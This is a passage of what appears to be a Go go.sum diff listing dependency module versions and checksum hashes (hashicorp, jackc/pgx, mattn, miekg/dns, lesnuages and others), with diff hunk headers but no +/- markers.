github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c h1:kp3AxgXgDOmIJFR7bIwqFhwJ2qWar8tEQSE5XXhCfVk=
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
@@ -475,7 +467,6 @@ github.com/imdario/mergo v0.3.9/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJ
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/j-keck/arping v0.0.0-20160618110441-2cf9dc699c56/go.mod h1:ymszkNOg6tORTn+6F6j+Jc8TOr5osrynvN6ivFWZ2GA=
github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0=
github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=
@@ -483,60 +474,63 @@ github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgO
github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=
github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=
github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=
github.com/jackc/pgconn v1.4.0/go.mod h1:Y2O3ZDF0q4mMacyWV3AstPJpeHXWGEetiFttmq5lahk=
github.com/jackc/pgconn v1.5.0/go.mod h1:QeD3lBfpTFe8WUnPZWN5KY/mB8FGMIYRdd8P8Jr0fAI=
github.com/jackc/pgconn v1.5.1-0.20200601181101-fa742c524853/go.mod h1:QeD3lBfpTFe8WUnPZWN5KY/mB8FGMIYRdd8P8Jr0fAI=
github.com/jackc/pgconn v1.7.0 h1:pwjzcYyfmz/HQOQlENvG1OcDqauTGaqlVahq934F0/U=
github.com/jackc/pgconn v1.7.0/go.mod h1:sF/lPpNEMEOp+IYhyQGdAvrG20gWf6A1tKlr0v7JMeA=
github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=
github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=
github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
github.com/jackc/pgconn v1.12.1/go.mod h1:ZkhRC59Llhrq3oSfrikvwQ5NaxYExr6twkdkMLaKono=
github.com/jackc/pgconn v1.13.0 h1:3L1XMNV2Zvca/8BYhzcRFS70Lr0WlDg16Di6SFGAbys=
github.com/jackc/pgconn v1.13.0/go.mod h1:AnowpAqO4CMIIJNZl2VJp+KrkAZciAkhEl0W0JIobpI=
github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE=
github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2 h1:JVX6jT/XfzNqIjye4717ITLaNwV9mWbJx0dLCpcRzdA=
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=
github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c=
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc=
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak=
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A=
github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=
github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
github.com/jackc/pgproto3/v2 v2.0.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgproto3/v2 v2.0.5 h1:NUbEWPmCQZbMmYlTjVoNPhc0CfnYyz2bfUAh6A5ZVJM=
github.com/jackc/pgproto3/v2 v2.0.5/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgservicefile v0.0.0-20200307190119-3430c5407db8/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgproto3/v2 v2.3.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgproto3/v2 v2.3.1 h1:nwj7qwf0S+Q7ISFfBndqeLwSwxs+4DPsbRFjECT1Y4Y=
github.com/jackc/pgproto3/v2 v2.3.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg=
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg=
github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=
github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=
github.com/jackc/pgtype v1.2.0/go.mod h1:5m2OfMh1wTK7x+Fk952IDmI4nw3nPrvtQdM0ZT4WpC0=
github.com/jackc/pgtype v1.3.1-0.20200510190516-8cd94a14c75a/go.mod h1:vaogEUkALtxZMCH411K+tKzNpwzCKU+AnPzBKZ+I+Po=
github.com/jackc/pgtype v1.3.1-0.20200606141011-f6355165a91c/go.mod h1:cvk9Bgu/VzJ9/lxTO5R5sf80p0DiucVtN7ZxvaC4GmQ=
github.com/jackc/pgtype v1.5.0 h1:jzBqRk2HFG2CV4AIwgCI2PwTgm6UUoCAK2ofHHRirtc=
github.com/jackc/pgtype v1.5.0/go.mod h1:JCULISAZBFGrHaOXIIFiyfzW5VY0GRitRr8NeJsrdig=
github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM=
github.com/jackc/pgtype v1.11.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
github.com/jackc/pgtype v1.12.0 h1:Dlq8Qvcch7kiehm8wPGIW0W3KsCCHJnRacKW0UM8n5w=
github.com/jackc/pgtype v1.12.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=
github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=
github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=
github.com/jackc/pgx/v4 v4.5.0/go.mod h1:EpAKPLdnTorwmPUUsqrPxy5fphV18j9q3wrfRXgo+kA=
github.com/jackc/pgx/v4 v4.6.1-0.20200510190926-94ba730bb1e9/go.mod h1:t3/cdRQl6fOLDxqtlyhe9UWgfIi9R8+8v8GKV5TRA/o=
github.com/jackc/pgx/v4 v4.6.1-0.20200606145419-4e5062306904/go.mod h1:ZDaNWkt9sW1JMiNn0kdYBaLelIhw7Pg4qd+Vk6tw7Hg=
github.com/jackc/pgx/v4 v4.9.0 h1:6STjDqppM2ROy5p1wNDcsC7zJTjSHeuCsguZmXyzx7c=
github.com/jackc/pgx/v4 v4.9.0/go.mod h1:MNGWmViCgqbZck9ujOOBN63gK9XVGILXWCvKLGKmnms=
github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs=
github.com/jackc/pgx/v4 v4.16.1/go.mod h1:SIhx0D5hoADaiXZVyv+3gSm3LCIIINTVO0PficsvWGQ=
github.com/jackc/pgx/v4 v4.17.2 h1:0Ut0rpeKwvIVbMQ1KbMBU4h6wxehBI535LK6Flheh8E=
github.com/jackc/pgx/v4 v4.17.2/go.mod h1:lcxIZN44yMIrWI78a5CpucdD14hX0SBDbNRvjDBItsw=
github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.1.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.1.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.1.2/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jmespath/go-jmespath v0.0.0-20160803190731-bd40a432e4c7/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/json-iterator/go v0.0.0-20180612202835-f2b4162afba3/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
@@ -565,10 +559,10 @@ github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfn
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.4-0.20190131011033-7dc38fb350b1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
@@ -576,19 +570,20 @@ github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Nt
github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.3.0 h1:/qkRGz8zljWiDcFvgpwUpwIAPu3r07TDvs3Rws+o/pU=
github.com/lib/pq v1.3.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8=
github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/marstr/guid v1.1.0/go.mod h1:74gB1z2wpxxInTG6yaqA7KrtM0NZ+RbrcqDvYHefzho=
github.com/mattbaird/jsonpatch v0.0.0-20171005235357-81af80346b1a/go.mod h1:M1qoD/MqPgTZIk0EWKB38wE28ACRfVcn+cU08jyArI0=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
@@ -596,26 +591,26 @@ github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcncea
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ=
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.12 h1:Y41i/hVW3Pgwr8gV+J23B9YEY0zxjptBuCWEaxmAOow=
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
github.com/mattn/go-sqlite3 v1.14.12 h1:TJ1bhYJPV44phC+IMu1u2K/i5RriLTPe+yc68XDJ1Z0=
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
github.com/matttproud/golang_protobuf_extensions v1.0.2-0.20181231171920-c182affec369/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
@@ -623,19 +618,12 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
github.com/miekg/dns v1.1.35 h1:oTfOaDH+mZkdcgdIjH6yBajRGtIwcwcaR+rt23ZSrJs=
github.com/miekg/dns v1.1.35/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
github.com/miekg/pkcs11 v1.0.3/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
github.com/mistifyio/go-zfs v2.1.2-0.20190413222219-f784269be439+incompatible/go.mod h1:8AuVvqP/mXw1px98n46wfvcGfQ4ci2FwoAjKYxuo3Z4=
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
